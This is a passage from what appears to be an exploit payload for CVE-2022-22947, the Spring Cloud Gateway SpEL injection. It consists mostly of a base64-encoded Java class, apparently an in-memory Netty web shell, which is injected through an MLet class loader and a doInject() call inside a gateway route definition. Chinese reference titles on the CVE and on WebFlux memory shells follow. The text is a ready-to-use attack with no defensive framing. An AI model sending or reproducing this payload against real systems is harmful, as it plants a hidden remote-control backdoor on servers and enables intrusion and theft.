25ldHR5L2hhbmRsZXIvY29kZWMvaHR0cC9IdHRwUmVzcG9uc2VTdGF0dXMBAAJPSwEAD3ByaW50U3RhY2tUcmFjZQEAJmlvL25ldHR5L2NoYW5uZWwvQ2hhbm5lbEhhbmRsZXJDb250ZXh0AQAPZmlyZUNoYW5uZWxSZWFkAQA8KExqYXZhL2xhbmcvT2JqZWN0OylMaW8vbmV0dHkvY2hhbm5lbC9DaGFubmVsSGFuZGxlckNvbnRleHQ7AQAnaW8vbmV0dHkvaGFuZGxlci9jb2RlYy9odHRwL0h0dHBWZXJzaW9uAQAISFRUUF8xXzEBAClMaW8vbmV0dHkvaGFuZGxlci9jb2RlYy9odHRwL0h0dHBWZXJzaW9uOwEAGWlvL25ldHR5L3V0aWwvQ2hhcnNldFV0aWwBAAVVVEZfOAEAGkxqYXZhL25pby9jaGFyc2V0L0NoYXJzZXQ7AQAYaW8vbmV0dHkvYnVmZmVyL1VucG9vbGVkAQAMY29waWVkQnVmZmVyAQBNKExqYXZhL2xhbmcvQ2hhclNlcXVlbmNlO0xqYXZhL25pby9jaGFyc2V0L0NoYXJzZXQ7KUxpby9uZXR0eS9idWZmZXIvQnl0ZUJ1ZjsBAHUoTGlvL25ldHR5L2hhbmRsZXIvY29kZWMvaHR0cC9IdHRwVmVyc2lvbjtMaW8vbmV0dHkvaGFuZGxlci9jb2RlYy9odHRwL0h0dHBSZXNwb25zZVN0YXR1cztMaW8vbmV0dHkvYnVmZmVyL0J5dGVCdWY7KVYBACxpby9uZXR0eS9oYW5kbGVyL2NvZGVjL2h0dHAvRnVsbEh0dHBSZXNwb25zZQEAK2lvL25ldHR5L2hhbmRsZXIvY29kZWMvaHR0cC9IdHRwSGVhZGVyTmFtZXMBAAxDT05URU5UX1RZUEUBABtMaW8vbmV0dHkvdXRpbC9Bc2NpaVN0cmluZzsBAFUoTGphdmEvbGFuZy9DaGFyU2VxdWVuY2U7TGphdmEvbGFuZy9PYmplY3Q7KUxpby9uZXR0eS9oYW5kbGVyL2NvZGVjL2h0dHAvSHR0cEhlYWRlcnM7AQANd3JpdGVBbmRGbHVzaAEANChMamF2YS9sYW5nL09iamVjdDspTGlvL25ldHR5L2NoYW5uZWwvQ2hhbm5lbEZ1dHVyZTsBACZpby9uZXR0eS9jaGFubmVsL0NoYW5uZWxGdXR1cmVMaXN0ZW5lcgEABUNMT1NFAQAoTGlvL25ldHR5L2NoYW5uZWwvQ2hhbm5lbEZ1dHVyZUxpc3RlbmVyOwEAHmlvL25ldHR5L2NoYW5uZWwvQ2hhbm5lbEZ1dHVyZQEAC2FkZExpc3RlbmVyAQBSKExpby9uZXR0eS91dGlsL2NvbmN1cnJlbnQvR2VuZXJpY0Z1dHVyZUxpc3RlbmVyOylMaW8vbmV0dHkvY2hhbm5lbC9DaGFubmVsRnV0dXJlOwAhABcAQgABAEMAAAAFAAEARABFAAEARgAAAC8AAQABAAAABSq3AAGxAAAAAgBHAAAABgABAAAADgBIAAAADAABAAAABQBJAEoAAAAJAEsATAABAEYAAAHDAAQACgAAALUSAksSAxIEA70ABbYABkwrBLYABysBA70ACLYACU0DPh0suAAKogCHLB24AAs6BBkExgB1GQS2AAy2AA0SDrYAD5kAZRkEtgAMEhC2ABE6BRkFBLYAEhkFGQS2ABM6BhkGtgAMtgAUEhW2ABE6BxkHBLYAEhkHGQa2ABM6CBkItgAMtgAUtgAUEha2ABE6CRkJBLYAEhkJGQi7ABdZtwAYtgAZEhpLhAMBp/93pwAHTBIcSyqwAAEAAwCsAK8AGwADAEcAAABaABYAAAAQAAMAEgAPABMAFAAUAB4AFgAoABcALwAYAEQAGQBQABoAVgAbAF8AHABuAB0AdAAeAH0AHwCPACAAlQAhAKMAIgCmABYArAAnAK8AJQCwACYAswAoAEgAAABwAAsAUABWAE0ATgAFAF8ARwBPAFAABgBuADgAUQBOAAcAfQApAFIAUAAIAI8AFwBTAE4ACQAvAHcAVABQAAQAIACMAFUAVgADAA8AnQBXAFgAAQAeAI4AWQBQAAIAsAADAFoAWwABAAMAsgBcAF0AAABeAAAAHgAF/wAgAAQHAF8HAGAHAGEBAAD7AIX4AAVCBwBiAwABAGMAZAACAEYAAAB2AAUABQAAABwsuQAdAQA6BBkEEh4SH7sAF1m3ABi5ACAEAFexAAAAAgBHAAAADgADAAAALgAIADAAGwAxAEgAAAA0AAUAAAAcAEkASgAAAAAAHABlAGYAAQAAABwAZwBoAAIAAAAcAGkAagADAAgAFABrAGwABABtAAAADQMAZQAAAGcAAABpAAAAAQBuAG8AAwBGAAABIwAHAAYAAAB0LMEAIZkAZyzAACFOLbkAIgEAEiO2ACSZAEotuQAiAQASI7YAJToEuwAmWbgAJwa9AChZAxIpU1kEEipTWQUZBFO2ACu2ACwSLbcALhIvtgAwtgAxOgUqKxkFsgAytwAzsacACjoEGQS2ADQrLLkANQIAV7EAAQAMAGAAZAAbAAMARwAAADIADAAAADcABwA4AAwAOgAaADsAJwA8AFYAPgBgAD8AYQBDAGQAQQBmAEIAawBFAHMARgBIAAAASAAHACcAOgBwAF0ABABWAAsAcQBdAAUAZgAFAFoAWwAEAAwAXwByAHMAAwAAAHQASQBKAAAAAAB0AHQAdQABAAAAdABcAFAAAgBeAAAADwAD/ABhBwB2QgcAYvoABgB3AAAABAABABsAbQAAAAkCAHQAAABcAAAAAgB4AHkAAgBGAAAAlAAGAAUAAAA2uwA2WbIANy0ssgA4uAA5twA6OgQZBLkAOwEAsgA8Ej22AD5XKxkEuQA/AgCyAEC5AEECAFexAAAAAgBHAAAAEgAEAAAASgAUAEsAJABMADUATQBIAAAANAAFAAAANgBJAEoAAAAAADYAdAB1AAEAAAA2AHoAXQACAAAANgB7AHwAAwAUACIAfQB+AAQAbQAAAA0DAHQAAAB6AAAAewAAAAEAfwAAAAIAgA=='),new javax.management.loading.MLet(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader())).doInject()}",
"_genkey_1": "/${path}"
}
}
],
"uri": "http://example.com"
}

参考:
CVE-2022-22947 SpringCloud GateWay SPEL RCE Echo Response
手把手带你挖掘spring-cloud-gateway新链
从CVE-2022-22947到Spring WebFlux内存马与哥斯拉